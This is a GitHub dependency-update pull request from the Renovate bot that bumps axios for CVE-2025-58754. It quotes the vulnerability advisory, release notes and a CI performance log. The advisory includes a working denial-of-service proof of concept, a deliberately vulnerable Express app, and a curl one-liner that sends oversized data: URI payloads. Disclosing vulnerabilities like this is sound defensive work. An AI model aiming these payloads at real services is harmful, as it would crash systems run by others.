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chore(deps): update dependency axios@>=0.8.1 <0.28.0 to v1 [security] #3642

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chore(deps): update dependency axios@>=0.8.1 <0.28.0 to v1 [security] #3642

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@renovate renovate bot commented Sep 13, 2025 •
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Note

Mend has cancelled the proposed renaming of the Renovate GitHub app being renamed to mend[bot].

This notice will be removed on 2025-10-07.

This PR contains the following updates:

Package Change Age Confidence
axios@>=0.8.1 <0.28.0 (source) [>=0.28.0 -> >=1.12.0](https://renovatebot.com/diffs/npm/axios@&gt;&#x3D;0.8.1 <0.28.0/0.28.0/1.12.0) age confidence

GitHub Vulnerability Alerts

CVE-2025-58754

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @&#8203;payload.json -o /dev/null```

Suggestions

  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

Release Notes

axios/axios (axios@>=0.8.1 <0.28.0)

v1.12.0

Compare Source

Bug Fixes
Features
  • adapter: surface low‑level network error details; attach original error via cause (#​6982) (78b290c)
  • fetch: add fetch, Request, Response env config variables for the adapter; (#​7003) (c959ff2)
  • support reviver on JSON.parse (#​5926) (2a97634), closes #​5924
  • types: extend AxiosResponse interface to include custom headers type (#​6782) (7960d34)
Contributors to this release

v1.11.0

Compare Source

Bug Fixes
Contributors to this release

v1.10.0

Compare Source

Bug Fixes
  • adapter: pass fetchOptions to fetch function (#​6883) (0f50af8)
  • form-data: convert boolean values to strings in FormData serialization (#​6917) (5064b10)
  • package: add module entry point for React Native; (#​6933) (3d343b8)
Features
Contributors to this release

v1.9.0

Compare Source

Bug Fixes
  • core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
  • fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
  • headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
  • headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
  • headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
  • http: send minimal end multipart boundary (#​6661) (987d2e2)
  • types: fix autocomplete for adapter config (#​6855) (e61a893)
Features
  • AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)
Contributors to this release

1.8.4 (2025-03-19)

Bug Fixes
  • buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)
Contributors to this release

1.8.3 (2025-03-10)

Bug Fixes
  • add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
  • xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)
Contributors to this release

1.8.2 (2025-03-07)

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

1.8.1 (2025-02-26)

Bug Fixes
  • utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)
Contributors to this release

v1.8.4

Compare Source

Bug Fixes
  • buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)
Contributors to this release

v1.8.3

Compare Source

Bug Fixes
  • core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
  • fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
  • headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
  • headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
  • headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
  • http: send minimal end multipart boundary (#​6661) (987d2e2)
  • types: fix autocomplete for adapter config (#​6855) (e61a893)
Features
  • AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)
Contributors to this release

1.8.4 (2025-03-19)

Bug Fixes
  • buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)
Contributors to this release

1.8.3 (2025-03-10)

Bug Fixes
  • add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
  • xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)
Contributors to this release

1.8.2 (2025-03-07)

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

1.8.1 (2025-02-26)

Bug Fixes
  • utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)
Contributors to this release

v1.8.2

Compare Source

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

v1.8.1

Compare Source

Bug Fixes
  • core: fix the Axios constructor implementation to treat the config argument as optional; (#​6881) (6c5d4cd)
  • fetch: fixed ERR_NETWORK mapping for Safari browsers; (#​6767) (dfe8411)
  • headers: allow iterable objects to be a data source for the set method; (#​6873) (1b1f9cc)
  • headers: fix getSetCookie by using 'get' method for caseless access; (#​6874) (d4f7df4)
  • headers: fixed support for setting multiple header values from an iterated source; (#​6885) (f7a3b5e)
  • http: send minimal end multipart boundary (#​6661) (987d2e2)
  • types: fix autocomplete for adapter config (#​6855) (e61a893)
Features
  • AxiosHeaders: add getSetCookie method to retrieve set-cookie headers values (#​5707) (80ea756)
Contributors to this release

1.8.4 (2025-03-19)

Bug Fixes
  • buildFullPath: handle allowAbsoluteUrls: false without baseURL (#​6833) (f10c2e0)
Contributors to this release

1.8.3 (2025-03-10)

Bug Fixes
  • add missing type for allowAbsoluteUrls (#​6818) (10fa70e)
  • xhr/fetch: pass allowAbsoluteUrls to buildFullPath in xhr and fetch adapters (#​6814) (ec159e5)
Contributors to this release

1.8.2 (2025-03-07)

Bug Fixes
  • http-adapter: add allowAbsoluteUrls to path building (#​6810) (fb8eec2)
Contributors to this release

1.8.1 (2025-02-26)

Bug Fixes
  • utils: move generateString to platform utils to avoid importing crypto module into client builds; (#​6789) (36a5a62)
Contributors to this release

v1.8.0

Compare Source

Bug Fixes
Features
Reverts
BREAKING CHANGES

  • code relying on the above will now combine the URLs instead of prefer request URL

  • feat: add config option for allowing absolute URLs

  • fix: add default value for allowAbsoluteUrls in buildFullPath

  • fix: typo in flow control when setting allowAbsoluteUrls

Contributors to this release

1.7.9 (2024-12-04)

Reverts
Contributors to this release

1.7.8 (2024-11-25)

Bug Fixes
Contributors to this release

1.7.7 (2024-08-31)

Bug Fixes
  • fetch: fix stream handling in Safari by fallback to using a stream reader instead of an async iterator; (#​6584) (d198085)
  • http: fixed support for IPv6 literal strings in url (#​5731) (364993f)
Contributors to this release

1.7.6 (2024-08-30)

Bug Fixes
Contributors to this release

1.7.5 (2024-08-23)

Bug Fixes
  • adapter: fix undefined reference to hasBrowserEnv (#​6572) (7004707)
  • core: add the missed implementation of AxiosError#status property; (#​6573) (6700a8a)
  • core: fix ReferenceError: navigator is not defined for custom environments; (#​6567) (fed1a4b)
  • fetch: fix credentials handling in Cloudflare workers (#​6533) (550d885)
Contributors to this release

1.7.4 (2024-08-13)

Bug Fixes
Contributors to this release

1.7.3 (2024-08-01)

Bug Fixes
Contributors to this release

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@renovate renovate bot added the dependencies Pull requests that update a dependency label Sep 13, 2025
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🚀 Performance Test Results

Test Configuration:

  • VUs: 4
  • Duration: 1m0s

Test Metrics:

  • Requests/s: 42.94
  • Iterations/s: 14.33
  • Failed Requests: 0.00% (0 of 2586)
📜 Logs 

> [email protected] run-tests:testenv /home/runner/work/rafiki/rafiki/test/performance
> ./scripts/run-tests.sh -e test "-k" "-q" "--vus" "4" "--duration" "1m"

Cloud Nine GraphQL API is up: http://localhost:3101/graphql
Cloud Nine Wallet Address is up: http://localhost:3100/
Happy Life Bank Address is up: http://localhost:4100/
cloud-nine-wallet-test-backend already set
cloud-nine-wallet-test-auth already set
happy-life-bank-test-backend already set
happy-life-bank-test-auth already set
     data_received..................: 934 kB 16 kB/s
     data_sent......................: 2.0 MB 33 kB/s
     http_req_blocked...............: avg=6.78µs   min=2.42µs   med=5.25µs   max=710.18µs p(90)=6.25µs   p(95)=6.76µs  
     http_req_connecting............: avg=760ns    min=0s       med=0s       max=658.51µs p(90)=0s       p(95)=0s      
     http_req_duration..............: avg=92.57ms  min=9.08ms   med=76.2ms   max=542.5ms  p(90)=162.74ms p(95)=187.63ms
       { expected_response:true }...: avg=92.57ms  min=9.08ms   med=76.2ms   max=542.5ms  p(90)=162.74ms p(95)=187.63ms
     http_req_failed................: 0.00%  ✓ 0         ✗ 2586
     http_req_receiving.............: avg=92.92µs  min=26.2µs   med=80.69µs  max=2.99ms   p(90)=121.17µs p(95)=153.78µs
     http_req_sending...............: avg=35.38µs  min=10.12µs  med=27.17µs  max=2.56ms   p(90)=39.35µs  p(95)=55.15µs 
     http_req_tls_handshaking.......: avg=0s       min=0s       med=0s       max=0s       p(90)=0s       p(95)=0s      
     http_req_waiting...............: avg=92.44ms  min=8.83ms   med=76.08ms  max=542.41ms p(90)=162.58ms p(95)=187.56ms
     http_reqs......................: 2586   42.940557/s
     iteration_duration.............: avg=278.99ms min=168.27ms med=265.56ms max=1.09s    p(90)=350.04ms p(95)=384.96ms
     iterations.....................: 863    14.330124/s
     vus............................: 4      min=4       max=4 
     vus_max........................: 4      min=4       max=4

@renovate renovate bot force-pushed the renovate-npm-axios>=0.8.1-<0.28.0-vulnerability branch from c7462ed to 920a9bd Compare September 22, 2025 06:46
@renovate renovate bot changed the title chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to v1 [security] chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to >=0.30.1 [security] Sep 22, 2025
@renovate renovate bot force-pushed the renovate-npm-axios>=0.8.1-<0.28.0-vulnerability branch from 920a9bd to 1979fa5 Compare September 22, 2025 10:01
@renovate renovate bot changed the title chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to >=0.30.1 [security] chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to v1 [security] Sep 22, 2025
@renovate renovate bot force-pushed the renovate-npm-axios>=0.8.1-<0.28.0-vulnerability branch from 1979fa5 to 9677173 Compare September 25, 2025 14:50
@renovate renovate bot changed the title chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to v1 [security] chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to >=0.30.1 [security] Sep 25, 2025
@renovate renovate bot force-pushed the renovate-npm-axios>=0.8.1-<0.28.0-vulnerability branch from 9677173 to c670d57 Compare September 25, 2025 16:22
@renovate renovate bot changed the title chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to >=0.30.1 [security] chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to v1 [security] Sep 25, 2025
@renovate renovate bot changed the title chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to v1 [security] chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to >=0.30.1 [security] Sep 25, 2025
@renovate renovate bot force-pushed the renovate-npm-axios>=0.8.1-<0.28.0-vulnerability branch from c670d57 to cd36996 Compare September 25, 2025 16:38
@renovate renovate bot force-pushed the renovate-npm-axios>=0.8.1-<0.28.0-vulnerability branch from cd36996 to 5fc5377 Compare September 25, 2025 22:32
@renovate renovate bot changed the title chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to >=0.30.1 [security] chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to v1 [security] Sep 25, 2025
@renovate renovate bot changed the title chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to v1 [security] chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to v1 [security] - autoclosed Sep 29, 2025
@renovate renovate bot closed this Sep 29, 2025
@renovate renovate bot deleted the renovate-npm-axios>=0.8.1-<0.28.0-vulnerability branch September 29, 2025 23:02
@renovate renovate bot changed the title chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to v1 [security] - autoclosed chore(deps): update dependency axios@&gt;&#x3d;0.8.1 &lt;0.28.0 to v1 [security] Sep 30, 2025
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@renovate renovate bot force-pushed the renovate-npm-axios>=0.8.1-<0.28.0-vulnerability branch from beb16c4 to 5fc5377 Compare September 30, 2025 15:40
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